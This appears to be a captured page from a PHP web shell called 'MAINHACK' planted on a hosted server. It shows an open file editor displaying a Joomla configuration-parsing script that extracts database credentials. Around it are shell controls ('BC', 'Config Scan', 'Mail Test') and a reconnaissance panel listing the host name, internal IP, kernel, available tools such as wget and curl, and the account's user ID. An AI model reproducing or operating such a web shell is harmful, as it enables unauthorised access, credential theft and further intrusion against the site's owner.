[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Joomla.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo\Pythia\Oracle; use Solo\Pythia\AbstractOracle; class Joomla extends AbstractOracle { /** * The name of this oracle class * * @var string */ protected $oracleName = 'joomla'; /** * The installer name which corresponds to the CMS recognized by this Oracle * * @var string */ protected $installerName = 'angie'; /** * Does this class recognises the CMS type as Joomla? * * @return boolean */ public function isRecognised(): bool { if (!@file_exists($this->path . '/configuration.php')) { return false; } if (!@is_dir($this->path . '/administrator/components/com_admin')) { return false; } if (!@is_dir($this->path . '/libraries/joomla') && !@is_dir($this->path . '/libraries/src')) { return false; } return true; } /** * Return the database connection information for this CMS / script * * @return array */ public function getDbInformation(): array { $ret = array( 'driver' => 'mysqli', 'host' => '', 'port' => '', 'username' => '', 'password' => '', 'name' => '', 'prefix' => '', ); $fileContents = file($this->path . '/configuration.php'); foreach ($fileContents as $line) { $line = trim($line); if ((strpos($line, 'public') === 0) || (strpos($line, 'var') === 0)) { if (strpos($line, 'public') === 0) { $line = substr($line, 6); } else { $line = substr($line, 3); } $line = trim($line); $line = rtrim($line, ';'); $line = ltrim($line, '$'); $line = trim($line); [$key, $value] = explode('=', $line); $key = trim($key); $value = trim($value); if ((strstr($value, '"') === false) && (strstr($value, "'") === false)) { continue; } $value = $this->parseStringDefinition($value); switch (strtoupper($key)) { case 'DB': $ret['name'] = $value; break; case 'DBPREFIX': $ret['prefix'] = $value; break; case 'DBTYPE': $ret['driver'] = $value; break; case 'USER': $ret['username'] = $value; break; case 'PASSWORD': $ret['password'] = $value; break; case 'HOST': $ret['host'] = $value; break; } } } return $ret; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697